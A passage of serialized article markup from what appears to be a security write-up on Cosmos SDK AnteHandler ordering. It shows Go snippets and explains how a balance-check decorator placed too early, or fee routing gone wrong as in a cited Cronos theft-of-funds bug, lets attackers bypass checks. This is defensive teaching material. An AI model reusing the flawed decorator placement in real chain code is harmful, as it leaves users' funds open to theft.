tx",{"type":24,"tag":158,"props":79941,"children":79942},{"style":171},[79943],{"type":29,"value":79919},{"type":24,"tag":158,"props":79945,"children":79946},{"style":188},[79947],{"type":29,"value":347},{"type":24,"tag":158,"props":79949,"children":79950},{"style":171},[79951],{"type":29,"value":79952},"Tx",{"type":24,"tag":158,"props":79954,"children":79955},{"style":188},[79956],{"type":29,"value":235},{"type":24,"tag":158,"props":79958,"children":79959},{"class":160,"line":668},[79960,79965,79969],{"type":24,"tag":158,"props":79961,"children":79962},{"style":177},[79963],{"type":29,"value":79964}," simulate",{"type":24,"tag":158,"props":79966,"children":79967},{"style":171},[79968],{"type":29,"value":2928},{"type":24,"tag":158,"props":79970,"children":79971},{"style":188},[79972],{"type":29,"value":235},{"type":24,"tag":158,"props":79974,"children":79975},{"class":160,"line":676},[79976,79981,79985,79989,79993],{"type":24,"tag":158,"props":79977,"children":79978},{"style":177},[79979],{"type":29,"value":79980}," next",{"type":24,"tag":158,"props":79982,"children":79983},{"style":171},[79984],{"type":29,"value":79919},{"type":24,"tag":158,"props":79986,"children":79987},{"style":188},[79988],{"type":29,"value":347},{"type":24,"tag":158,"props":79990,"children":79991},{"style":171},[79992],{"type":29,"value":79748},{"type":24,"tag":158,"props":79994,"children":79995},{"style":188},[79996],{"type":29,"value":235},{"type":24,"tag":158,"props":79998,"children":79999},{"class":160,"line":684},[80000,80004,80009,80013,80017,80021,80025],{"type":24,"tag":158,"props":80001,"children":80002},{"style":188},[80003],{"type":29,"value":77660},{"type":24,"tag":158,"props":80005,"children":80006},{"style":171},[80007],{"type":29,"value":80008},"sdk",{"type":24,"tag":158,"props":80010,"children":80011},{"style":188},[80012],{"type":29,"value":347},{"type":24,"tag":158,"props":80014,"children":80015},{"style":171},[80016],{"type":29,"value":77627},{"type":24,"tag":158,"props":80018,"children":80019},{"style":188},[80020],{"type":29,"value":191},{"type":24,"tag":158,"props":80022,"children":80023},{"style":171},[80024],{"type":29,"value":16098},{"type":24,"tag":158,"props":80026,"children":80027},{"style":188},[80028],{"type":29,"value":16038},{"type":24,"tag":158,"props":80030,"children":80031},{"class":160,"line":700},[80032,80037,80041,80046,80050,80054,80059,80064,80068,80073],{"type":24,"tag":158,"props":80033,"children":80034},{"style":177},[80035],{"type":29,"value":80036}," sigTx",{"type":24,"tag":158,"props":80038,"children":80039},{"style":188},[80040],{"type":29,"value":191},{"type":24,"tag":158,"props":80042,"children":80043},{"style":177},[80044],{"type":29,"value":80045},"ok",{"type":24,"tag":158,"props":80047,"children":80048},{"style":222},[80049],{"type":29,"value":77694},{"type":24,"tag":158,"props":80051,"children":80052},{"style":177},[80053],{"type":29,"value":69303},{"type":24,"tag":158,"props":80055,"children":80056},{"style":188},[80057],{"type":29,"value":80058},".(",{"type":24,"tag":158,"props":80060,"children":80061},{"style":171},[80062],{"type":29,"value":80063},"authsigning",{"type":24,"tag":158,"props":80065,"children":80066},{"style":188},[80067],{"type":29,"value":347},{"type":24,"tag":158,"props":80069,"children":80070},{"style":171},[80071],{"type":29,"value":80072},"SigVerifiableTx",{"type":24,"tag":158,"props":80074,"children":80075},{"style":188},[80076],{"type":29,"value":2125},{"type":24,"tag":158,"props":80078,"children":80079},{"class":160,"line":785},[80080,80084,80088,80092],{"type":24,"tag":158,"props":80081,"children":80082},{"style":1914},[80083],{"type":29,"value":3160},{"type":24,"tag":158,"props":80085,"children":80086},{"style":222},[80087],{"type":29,"value":3750},{"type":24,"tag":158,"props":80089,"children":80090},{"style":177},[80091],{"type":29,"value":80045},{"type":24,"tag":158,"props":80093,"children":80094},{"style":188},[80095],{"type":29,"value":210},{"type":24,"tag":158,"props":80097,"children":80098},{"class":160,"line":1447},[80099,80103,80107,80111,80116,80120,80125],{"type":24,"tag":158,"props":80100,"children":80101},{"style":1914},[80102],{"type":29,"value":16980},{"type":24,"tag":158,"props":80104,"children":80105},{"style":177},[80106],{"type":29,"value":27100},{"type":24,"tag":158,"props":80108,"children":80109},{"style":188},[80110],{"type":29,"value":191},{"type":24,"tag":158,"props":80112,"children":80113},{"style":177},[80114],{"type":29,"value":80115},"errorsmod",{"type":24,"tag":158,"props":80117,"children":80118},{"style":188},[80119],{"type":29,"value":347},{"type":24,"tag":158,"props":80121,"children":80122},{"style":496},[80123],{"type":29,"value":80124},"Wrap",{"type":24,"tag":158,"props":80126,"children":80127},{"style":188},[80128],{"type":29,"value":2156},{"type":24,"tag":158,"props":80130,"children":80131},{"class":160,"line":1509},[80132,80137,80141,80146],{"type":24,"tag":158,"props":80133,"children":80134},{"style":177},[80135],{"type":29,"value":80136}," sdkerrors",{"type":24,"tag":158,"props":80138,"children":80139},{"style":188},[80140],{"type":29,"value":347},{"type":24,"tag":158,"props":80142,"children":80143},{"style":177},[80144],{"type":29,"value":80145},"ErrTxDecode",{"type":24,"tag":158,"props":80147,"children":80148},{"style":188},[80149],{"type":29,"value":235},{"type":24,"tag":158,"props":80151,"children":80152},{"class":160,"line":1527},[80153,80158],{"type":24,"tag":158,"props":80154,"children":80155},{"style":1108},[80156],{"type":29,"value":80157}," \"invalid tx type\"",{"type":24,"tag":158,"props":80159,"children":80160},{"style":188},[80161],{"type":29,"value":235},{"type":24,"tag":158,"props":80163,"children":80164},{"class":160,"line":1545},[80165],{"type":24,"tag":158,"props":80166,"children":80167},{"style":188},[80168],{"type":29,"value":69596},{"type":24,"tag":158,"props":80170,"children":80171},{"class":160,"line":1618},[80172],{"type":24,"tag":158,"props":80173,"children":80174},{"style":188},[80175],{"type":29,"value":3967},{"type":24,"tag":158,"props":80177,"children":80178},{"class":160,"line":1635},[80179],{"type":24,"tag":158,"props":80180,"children":80181},{"emptyLinePlaceholder":16},[80182],{"type":29,"value":481},{"type":24,"tag":158,"props":80184,"children":80185},{"class":160,"line":1644},[80186,80191,80195,80200,80204,80209],{"type":24,"tag":158,"props":80187,"children":80188},{"style":177},[80189],{"type":29,"value":80190}," signers",{"type":24,"tag":158,"props":80192,"children":80193},{"style":222},[80194],{"type":29,"value":77694},{"type":24,"tag":158,"props":80196,"children":80197},{"style":177},[80198],{"type":29,"value":80199}," sigTx",{"type":24,"tag":158,"props":80201,"children":80202},{"style":188},[80203],{"type":29,"value":347},{"type":24,"tag":158,"props":80205,"children":80206},{"style":496},[80207],{"type":29,"value":80208},"GetSigners",{"type":24,"tag":158,"props":80210,"children":80211},{"style":188},[80212],{"type":29,"value":9376},{"type":24,"tag":158,"props":80214,"children":80215},{"class":160,"line":1652},[80216,80220,80224,80228,80232,80236,80240,80245],{"type":24,"tag":158,"props":80217,"children":80218},{"style":1914},[80219],{"type":29,"value":4702},{"type":24,"tag":158,"props":80221,"children":80222},{"style":177},[80223],{"type":29,"value":1969},{"type":24,"tag":158,"props":80225,"children":80226},{"style":188},[80227],{"type":29,"value":191},{"type":24,"tag":158,"props":80229,"children":80230},{"style":177},[80231],{"type":29,"value":8789},{"type":24,"tag":158,"props":80233,"children":80234},{"style":222},[80235],{"type":29,"value":77694},{"type":24,"tag":158,"props":80237,"children":80238},{"style":1914},[80239],{"type":29,"value":78677},{"type":24,"tag":158,"props":80241,"children":80242},{"style":177},[80243],{"type":29,"value":80244}," signers",{"type":24,"tag":158,"props":80246,"children":80247},{"style":188},[80248],{"type":29,"value":210},{"type":24,"tag":158,"props":80250,"children":80251},{"class":160,"line":1704},[80252,80257,80261,80266,80270,80275,80279,80284,80288,80292,80296,80300,80304,80309],{"type":24,"tag":158,"props":80253,"children":80254},{"style":177},[80255],{"type":29,"value":80256}," balance",{"type":24,"tag":158,"props":80258,"children":80259},{"style":222},[80260],{"type":29,"value":77694},{"type":24,"tag":158,"props":80262,"children":80263},{"style":177},[80264],{"type":29,"value":80265}," abd",{"type":24,"tag":158,"props":80267,"children":80268},{"style":188},[80269],{"type":29,"value":347},{"type":24,"tag":158,"props":80271,"children":80272},{"style":177},[80273],{"type":29,"value":80274},"bk",{"type":24,"tag":158,"props":80276,"children":80277},{"style":188},[80278],{"type":29,"value":347},{"type":24,"tag":158,"props":80280,"children":80281},{"style":496},[80282],{"type":29,"value":80283},"getBalance",{"type":24,"tag":158,"props":80285,"children":80286},{"style":188},[80287],{"type":29,"value":504},{"type":24,"tag":158,"props":80289,"children":80290},{"style":177},[80291],{"type":29,"value":21524},{"type":24,"tag":158,"props":80293,"children":80294},{"style":188},[80295],{"type":29,"value":191},{"type":24,"tag":158,"props":80297,"children":80298},{"style":177},[80299],{"type":29,"value":8789},{"type":24,"tag":158,"props":80301,"children":80302},{"style":188},[80303],{"type":29,"value":191},{"type":24,"tag":158,"props":80305,"children":80306},{"style":177},[80307],{"type":29,"value":80308},"ATOM",{"type":24,"tag":158,"props":80310,"children":80311},{"style":188},[80312],{"type":29,"value":2125},{"type":24,"tag":158,"props":80314,"children":80315},{"class":160,"line":1713},[80316,80320,80325,80329,80334,80338,80343],{"type":24,"tag":158,"props":80317,"children":80318},{"style":1914},[80319],{"type":29,"value":4936},{"type":24,"tag":158,"props":80321,"children":80322},{"style":177},[80323],{"type":29,"value":80324}," balance",{"type":24,"tag":158,"props":80326,"children":80327},{"style":188},[80328],{"type":29,"value":347},{"type":24,"tag":158,"props":80330,"children":80331},{"style":177},[80332],{"type":29,"value":80333},"Amount",{"type":24,"tag":158,"props":80335,"children":80336},{"style":222},[80337],{"type":29,"value":2116},{"type":24,"tag":158,"props":80339,"children":80340},{"style":177},[80341],{"type":29,"value":80342}," MIN_BALANCE",{"type":24,"tag":158,"props":80344,"children":80345},{"style":188},[80346],{"type":29,"value":210},{"type":24,"tag":158,"props":80348,"children":80349},{"class":160,"line":1731},[80350,80355,80359,80363,80367,80371,80375],{"type":24,"tag":158,"props":80351,"children":80352},{"style":1914},[80353],{"type":29,"value":80354}," return",{"type":24,"tag":158,"props":80356,"children":80357},{"style":177},[80358],{"type":29,"value":27100},{"type":24,"tag":158,"props":80360,"children":80361},{"style":188},[80362],{"type":29,"value":191},{"type":24,"tag":158,"props":80364,"children":80365},{"style":177},[80366],{"type":29,"value":80115},{"type":24,"tag":158,"props":80368,"children":80369},{"style":188},[80370],{"type":29,"value":347},{"type":24,"tag":158,"props":80372,"children":80373},{"style":496},[80374],{"type":29,"value":80124},{"type":24,"tag":158,"props":80376,"children":80377},{"style":188},[80378],{"type":29,"value":2156},{"type":24,"tag":158,"props":80380,"children":80381},{"class":160,"line":5485},[80382,80387],{"type":24,"tag":158,"props":80383,"children":80384},{"style":177},[80385],{"type":29,"value":80386}," ErrInsufficientBalance",{"type":24,"tag":158,"props":80388,"children":80389},{"style":188},[80390],{"type":29,"value":235},{"type":24,"tag":158,"props":80392,"children":80393},{"class":160,"line":5493},[80394,80399],{"type":24,"tag":158,"props":80395,"children":80396},{"style":1108},[80397],{"type":29,"value":80398}," \"Insufficient Balance\"",{"type":24,"tag":158,"props":80400,"children":80401},{"style":188},[80402],{"type":29,"value":235},{"type":24,"tag":158,"props":80404,"children":80405},{"class":160,"line":5553},[80406],{"type":24,"tag":158,"props":80407,"children":80408},{"style":188},[80409],{"type":29,"value":78793},{"type":24,"tag":158,"props":80411,"children":80412},{"class":160,"line":10636},[80413],{"type":24,"tag":158,"props":80414,"children":80415},{"style":188},[80416],{"type":29,"value":5010},{"type":24,"tag":158,"props":80418,"children":80419},{"class":160,"line":10652},[80420],{"type":24,"tag":158,"props":80421,"children":80422},{"style":188},[80423],{"type":29,"value":3967},{"type":24,"tag":158,"props":80425,"children":80426},{"class":160,"line":10696},[80427],{"type":24,"tag":158,"props":80428,"children":80429},{"emptyLinePlaceholder":16},[80430],{"type":29,"value":481},{"type":24,"tag":158,"props":80432,"children":80433},{"class":160,"line":10801},[80434,80438,80443,80447,80451,80455,80460,80464,80469],{"type":24,"tag":158,"props":80435,"children":80436},{"style":1914},[80437],{"type":29,"value":18227},{"type":24,"tag":158,"props":80439,"children":80440},{"style":496},[80441],{"type":29,"value":80442}," next",{"type":24,"tag":158,"props":80444,"children":80445},{"style":188},[80446],{"type":29,"value":504},{"type":24,"tag":158,"props":80448,"children":80449},{"style":177},[80450],{"type":29,"value":21524},{"type":24,"tag":158,"props":80452,"children":80453},{"style":188},[80454],{"type":29,"value":191},{"type":24,"tag":158,"props":80456,"children":80457},{"style":177},[80458],{"type":29,"value":80459},"tx",{"type":24,"tag":158,"props":80461,"children":80462},{"style":188},[80463],{"type":29,"value":191},{"type":24,"tag":158,"props":80465,"children":80466},{"style":177},[80467],{"type":29,"value":80468},"simulate",{"type":24,"tag":158,"props":80470,"children":80471},{"style":188},[80472],{"type":29,"value":2125},{"type":24,"tag":158,"props":80474,"children":80475},{"class":160,"line":24754},[80476],{"type":24,"tag":158,"props":80477,"children":80478},{"style":188},[80479],{"type":29,"value":307},{"type":24,"tag":25,"props":80481,"children":80482},{},[80483,80485,80490,80492,80498,80500,80506],{"type":29,"value":80484},"Where should this custom ",{"type":24,"tag":154,"props":80486,"children":80488},{"className":80487},[],[80489],{"type":29,"value":79748},{"type":29,"value":80491}," be placed relative to other ",{"type":24,"tag":154,"props":80493,"children":80495},{"className":80494},[],[80496],{"type":29,"value":80497},"AnteHandlers",{"type":29,"value":80499}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":154,"props":80501,"children":80503},{"className":80502},[],[80504],{"type":29,"value":80505},"SetUpContextDecorator",{"type":29,"value":80507}," should work, right?",{"type":24,"tag":25,"props":80509,"children":80510},{},[80511],{"type":24,"tag":101,"props":80512,"children":80515},{"href":80513,"rel":80514},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[105],[80516],{"type":29,"value":78017},{"type":24,"tag":147,"props":80518,"children":80520},{"code":80519,"language":77442,"meta":7,"className":77443,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[80521],{"type":24,"tag":154,"props":80522,"children":80523},{"__ignoreMap":7},[80524,80557,80574,80582,80611,80623,80635,80664,80692,80771,80804,80832,80877,80922,80950],{"type":24,"tag":158,"props":80525,"children":80526},{"class":160,"line":161},[80527,80532,80536,80540,80544,80548,80553],{"type":24,"tag":158,"props":80528,"children":80529},{"style":177},[80530],{"type":29,"value":80531},"anteDecorators",{"type":24,"tag":158,"props":80533,"children":80534},{"style":222},[80535],{"type":29,"value":77694},{"type":24,"tag":158,"props":80537,"children":80538},{"style":188},[80539],{"type":29,"value":77505},{"type":24,"tag":158,"props":80541,"children":80542},{"style":171},[80543],{"type":29,"value":80008},{"type":24,"tag":158,"props":80545,"children":80546},{"style":188},[80547],{"type":29,"value":347},{"type":24,"tag":158,"props":80549,"children":80550},{"style":171},[80551],{"type":29,"value":80552},"AnteDecorator",{"type":24,"tag":158,"props":80554,"children":80555},{"style":188},[80556],{"type":29,"value":1710},{"type":24,"tag":158,"props":80558,"children":80559},{"class":160,"line":213},[80560,80565,80569],{"type":24,"tag":158,"props":80561,"children":80562},{"style":496},[80563],{"type":29,"value":80564}," NewSetUpContextDecorator",{"type":24,"tag":158,"props":80566,"children":80567},{"style":188},[80568],{"type":29,"value":19615},{"type":24,"tag":158,"props":80570,"children":80571},{"style":2588},[80572],{"type":29,"value":80573},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":158,"props":80575,"children":80576},{"class":160,"line":238},[80577],{"type":24,"tag":158,"props":80578,"children":80579},{"style":2588},[80580],{"type":29,"value":80581}," // INSERT HERE\n",{"type":24,"tag":158,"props":80583,"children":80584},{"class":160,"line":259},[80585,80590,80594,80598,80602,80607],{"type":24,"tag":158,"props":80586,"children":80587},{"style":496},[80588],{"type":29,"value":80589}," NewExtensionOptionsDecorator",{"type":24,"tag":158,"props":80591,"children":80592},{"style":188},[80593],{"type":29,"value":504},{"type":24,"tag":158,"props":80595,"children":80596},{"style":177},[80597],{"type":29,"value":37302},{"type":24,"tag":158,"props":80599,"children":80600},{"style":188},[80601],{"type":29,"value":347},{"type":24,"tag":158,"props":80603,"children":80604},{"style":177},[80605],{"type":29,"value":80606},"ExtensionOptionChecker",{"type":24,"tag":158,"props":80608,"children":80609},{"style":188},[80610],{"type":29,"value":8382},{"type":24,"tag":158,"props":80612,"children":80613},{"class":160,"line":280},[80614,80619],{"type":24,"tag":158,"props":80615,"children":80616},{"style":496},[80617],{"type":29,"value":80618}," NewValidateBasicDecorator",{"type":24,"tag":158,"props":80620,"children":80621},{"style":188},[80622],{"type":29,"value":5150},{"type":24,"tag":158,"props":80624,"children":80625},{"class":160,"line":301},[80626,80631],{"type":24,"tag":158,"props":80627,"children":80628},{"style":496},[80629],{"type":29,"value":80630}," NewTxTimeoutHeightDecorator",{"type":24,"tag":158,"props":80632,"children":80633},{"style":188},[80634],{"type":29,"value":5150},{"type":24,"tag":158,"props":80636,"children":80637},{"class":160,"line":626},[80638,80643,80647,80651,80655,80660],{"type":24,"tag":158,"props":80639,"children":80640},{"style":496},[80641],{"type":29,"value":80642}," NewValidateMemoDecorator",{"type":24,"tag":158,"props":80644,"children":80645},{"style":188},[80646],{"type":29,"value":504},{"type":24,"tag":158,"props":80648,"children":80649},{"style":177},[80650],{"type":29,"value":37302},{"type":24,"tag":158,"props":80652,"children":80653},{"style":188},[80654],{"type":29,"value":347},{"type":24,"tag":158,"props":80656,"children":80657},{"style":177},[80658],{"type":29,"value":80659},"AccountKeeper",{"type":24,"tag":158,"props":80661,"children":80662},{"style":188},[80663],{"type":29,"value":8382},{"type":24,"tag":158,"props":80665,"children":80666},{"class":160,"line":668},[80667,80672,80676,80680,80684,80688],{"type":24,"tag":158,"props":80668,"children":80669},{"style":496},[80670],{"type":29,"value":80671}," NewConsumeGasForTxSizeDecorator",{"type":24,"tag":158,"props":80673,"children":80674},{"style":188},[80675],{"type":29,"value":504},{"type":24,"tag":158,"props":80677,"children":80678},{"style":177},[80679],{"type":29,"value":37302},{"type":24,"tag":158,"props":80681,"children":80682},{"style":188},[80683],{"type":29,"value":347},{"type":24,"tag":158,"props":80685,"children":80686},{"style":177},[80687],{"type":29,"value":80659},{"type":24,"tag":158,"props":80689,"children":80690},{"style":188},[80691],{"type":29,"value":8382},{"type":24,"tag":158,"props":80693,"children":80694},{"class":160,"line":676},[80695,80700,80704,80708,80712,80716,80720,80724,80728,80733,80737,80741,80745,80750,80754,80758,80762,80767],{"type":24,"tag":158,"props":80696,"children":80697},{"style":496},[80698],{"type":29,"value":80699}," NewDeductFeeDecorator",{"type":24,"tag":158,"props":80701,"children":80702},{"style":188},[80703],{"type":29,"value":504},{"type":24,"tag":158,"props":80705,"children":80706},{"style":177},[80707],{"type":29,"value":37302},{"type":24,"tag":158,"props":80709,"children":80710},{"style":188},[80711],{"type":29,"value":347},{"type":24,"tag":158,"props":80713,"children":80714},{"style":177},[80715],{"type":29,"value":80659},{"type":24,"tag":158,"props":80717,"children":80718},{"style":188},[80719],{"type":29,"value":191},{"type":24,"tag":158,"props":80721,"children":80722},{"style":177},[80723],{"type":29,"value":37302},{"type":24,"tag":158,"props":80725,"children":80726},{"style":188},[80727],{"type":29,"value":347},{"type":24,"tag":158,"props":80729,"children":80730},{"style":177},[80731],{"type":29,"value":80732},"BankKeeper",{"type":24,"tag":158,"props":80734,"children":80735},{"style":188},[80736],{"type":29,"value":191},{"type":24,"tag":158,"props":80738,"children":80739},{"style":177},[80740],{"type":29,"value":37302},{"type":24,"tag":158,"props":80742,"children":80743},{"style":188},[80744],{"type":29,"value":347},{"type":24,"tag":158,"props":80746,"children":80747},{"style":177},[80748],{"type":29,"value":80749},"FeegrantKeeper",{"type":24,"tag":158,"props":80751,"children":80752},{"style":188},[80753],{"type":29,"value":191},{"type":24,"tag":158,"props":80755,"children":80756},{"style":177},[80757],{"type":29,"value":37302},{"type":24,"tag":158,"props":80759,"children":80760},{"style":188},[80761],{"type":29,"value":347},{"type":24,"tag":158,"props":80763,"children":80764},{"style":177},[80765],{"type":29,"value":80766},"TxFeeChecker",{"type":24,"tag":158,"props":80768,"children":80769},{"style":188},[80770],{"type":29,"value":8382},{"type":24,"tag":158,"props":80772,"children":80773},{"class":160,"line":684},[80774,80779,80783,80787,80791,80795,80799],{"type":24,"tag":158,"props":80775,"children":80776},{"style":496},[80777],{"type":29,"value":80778}," NewSetPubKeyDecorator",{"type":24,"tag":158,"props":80780,"children":80781},{"style":188},[80782],{"type":29,"value":504},{"type":24,"tag":158,"props":80784,"children":80785},{"style":177},[80786],{"type":29,"value":37302},{"type":24,"tag":158,"props":80788,"children":80789},{"style":188},[80790],{"type":29,"value":347},{"type":24,"tag":158,"props":80792,"children":80793},{"style":177},[80794],{"type":29,"value":80659},{"type":24,"tag":158,"props":80796,"children":80797},{"style":188},[80798],{"type":29,"value":16412},{"type":24,"tag":158,"props":80800,"children":80801},{"style":2588},[80802],{"type":29,"value":80803},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":158,"props":80805,"children":80806},{"class":160,"line":700},[80807,80812,80816,80820,80824,80828],{"type":24,"tag":158,"props":80808,"children":80809},{"style":496},[80810],{"type":29,"value":80811}," NewValidateSigCountDecorator",{"type":24,"tag":158,"props":80813,"children":80814},{"style":188},[80815],{"type":29,"value":504},{"type":24,"tag":158,"props":80817,"children":80818},{"style":177},[80819],{"type":29,"value":37302},{"type":24,"tag":158,"props":80821,"children":80822},{"style":188},[80823],{"type":29,"value":347},{"type":24,"tag":158,"props":80825,"children":80826},{"style":177},[80827],{"type":29,"value":80659},{"type":24,"tag":158,"props":80829,"children":80830},{"style":188},[80831],{"type":29,"value":8382},{"type":24,"tag":158,"props":80833,"children":80834},{"class":160,"line":785},[80835,80840,80844,80848,80852,80856,80860,80864,80868,80873],{"type":24,"tag":158,"props":80836,"children":80837},{"style":496},[80838],{"type":29,"value":80839}," NewSigGasConsumeDecorator",{"type":24,"tag":158,"props":80841,"children":80842},{"style":188},[80843],{"type":29,"value":504},{"type":24,"tag":158,"props":80845,"children":80846},{"style":177},[80847],{"type":29,"value":37302},{"type":24,"tag":158,"props":80849,"children":80850},{"style":188},[80851],{"type":29,"value":347},{"type":24,"tag":158,"props":80853,"children":80854},{"style":177},[80855],{"type":29,"value":80659},{"type":24,"tag":158,"props":80857,"children":80858},{"style":188},[80859],{"type":29,"value":191},{"type":24,"tag":158,"props":80861,"children":80862},{"style":177},[80863],{"type":29,"value":37302},{"type":24,"tag":158,"props":80865,"children":80866},{"style":188},[80867],{"type":29,"value":347},{"type":24,"tag":158,"props":80869,"children":80870},{"style":177},[80871],{"type":29,"value":80872},"SigGasConsumer",{"type":24,"tag":158,"props":80874,"children":80875},{"style":188},[80876],{"type":29,"value":8382},{"type":24,"tag":158,"props":80878,"children":80879},{"class":160,"line":1447},[80880,80885,80889,80893,80897,80901,80905,80909,80913,80918],{"type":24,"tag":158,"props":80881,"children":80882},{"style":496},[80883],{"type":29,"value":80884}," NewSigVerificationDecorator",{"type":24,"tag":158,"props":80886,"children":80887},{"style":188},[80888],{"type":29,"value":504},{"type":24,"tag":158,"props":80890,"children":80891},{"style":177},[80892],{"type":29,"value":37302},{"type":24,"tag":158,"props":80894,"children":80895},{"style":188},[80896],{"type":29,"value":347},{"type":24,"tag":158,"props":80898,"children":80899},{"style":177},[80900],{"type":29,"value":80659},{"type":24,"tag":158,"props":80902,"children":80903},{"style":188},[80904],{"type":29,"value":191},{"type":24,"tag":158,"props":80906,"children":80907},{"style":177},[80908],{"type":29,"value":37302},{"type":24,"tag":158,"props":80910,"children":80911},{"style":188},[80912],{"type":29,"value":347},{"type":24,"tag":158,"props":80914,"children":80915},{"style":177},[80916],{"type":29,"value":80917},"SignModeHandler",{"type":24,"tag":158,"props":80919,"children":80920},{"style":188},[80921],{"type":29,"value":8382},{"type":24,"tag":158,"props":80923,"children":80924},{"class":160,"line":1509},[80925,80930,80934,80938,80942,80946],{"type":24,"tag":158,"props":80926,"children":80927},{"style":496},[80928],{"type":29,"value":80929}," NewIncrementSequenceDecorator",{"type":24,"tag":158,"props":80931,"children":80932},{"style":188},[80933],{"type":29,"value":504},{"type":24,"tag":158,"props":80935,"children":80936},{"style":177},[80937],{"type":29,"value":37302},{"type":24,"tag":158,"props":80939,"children":80940},{"style":188},[80941],{"type":29,"value":347},{"type":24,"tag":158,"props":80943,"children":80944},{"style":177},[80945],{"type":29,"value":80659},{"type":24,"tag":158,"props":80947,"children":80948},{"style":188},[80949],{"type":29,"value":8382},{"type":24,"tag":158,"props":80951,"children":80952},{"class":160,"line":1527},[80953],{"type":24,"tag":158,"props":80954,"children":80955},{"style":188},[80956],{"type":29,"value":307},{"type":24,"tag":25,"props":80958,"children":80959},{},[80960,80962,80967,80969,80975,80976,80982],{"type":29,"value":80961},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":154,"props":80963,"children":80965},{"className":80964},[],[80966],{"type":29,"value":80497},{"type":29,"value":80968},", such as ",{"type":24,"tag":154,"props":80970,"children":80972},{"className":80971},[],[80973],{"type":29,"value":80974},"SigGasConsumeDecorator",{"type":29,"value":1826},{"type":24,"tag":154,"props":80977,"children":80979},{"className":80978},[],[80980],{"type":29,"value":80981},"ConsumeGasForTxSizeDecorator",{"type":29,"value":80983},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":25,"props":80985,"children":80986},{},[80987,80989,80995,80997,81002],{"type":29,"value":80988},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":154,"props":80990,"children":80992},{"className":80991},[],[80993],{"type":29,"value":80994},"msgs",{"type":29,"value":80996}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":154,"props":80998,"children":81000},{"className":80999},[],[81001],{"type":29,"value":79823},{"type":29,"value":81003}," chain.",{"type":24,"tag":395,"props":81005,"children":81007},{"id":81006},"real-world-examples-2",[81008],{"type":29,"value":77967},{"type":24,"tag":25,"props":81010,"children":81011},{},[81012,81014,81019,81021,81028],{"type":29,"value":81013},"An instance of ",{"type":24,"tag":154,"props":81015,"children":81017},{"className":81016},[],[81018],{"type":29,"value":79748},{"type":29,"value":81020}," misuse is a ",{"type":24,"tag":101,"props":81022,"children":81025},{"href":81023,"rel":81024},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[105],[81026],{"type":29,"value":81027},"Theft of Fund bug",{"type":29,"value":81029}," that was exploited in a Cronos contract.",{"type":24,"tag":25,"props":81031,"children":81032},{},[81033,81035,81040,81042,81047,81049,81055,81057,81063,81065,81070,81072,81077],{"type":29,"value":81034},"In this scenario, ",{"type":24,"tag":154,"props":81036,"children":81038},{"className":81037},[],[81039],{"type":29,"value":80994},{"type":29,"value":81041}," are multiplexed to different ",{"type":24,"tag":154,"props":81043,"children":81045},{"className":81044},[],[81046],{"type":29,"value":79748},{"type":29,"value":81048}," sets through the user-controlled ",{"type":24,"tag":154,"props":81050,"children":81052},{"className":81051},[],[81053],{"type":29,"value":81054},"ExtensionOptionsEthereumTx",{"type":29,"value":81056}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":154,"props":81058,"children":81060},{"className":81059},[],[81061],{"type":29,"value":81062},"MsgEthereumTx",{"type":29,"value":81064}," does not have ",{"type":24,"tag":154,"props":81066,"children":81068},{"className":81067},[],[81069],{"type":29,"value":81054},{"type":29,"value":81071}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":154,"props":81073,"children":81075},{"className":81074},[],[81076],{"type":29,"value":80497},{"type":29,"value":81078},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":25,"props":81080,"children":81081},{},[81082],{"type":24,"tag":101,"props":81083,"children":81086},{"href":81084,"rel":81085},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[105],[81087],{"type":29,"value":78017},{"type":24,"tag":147,"props":81089,"children":81091},{"code":81090,"language":77442,"meta":7,"className":77443,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case 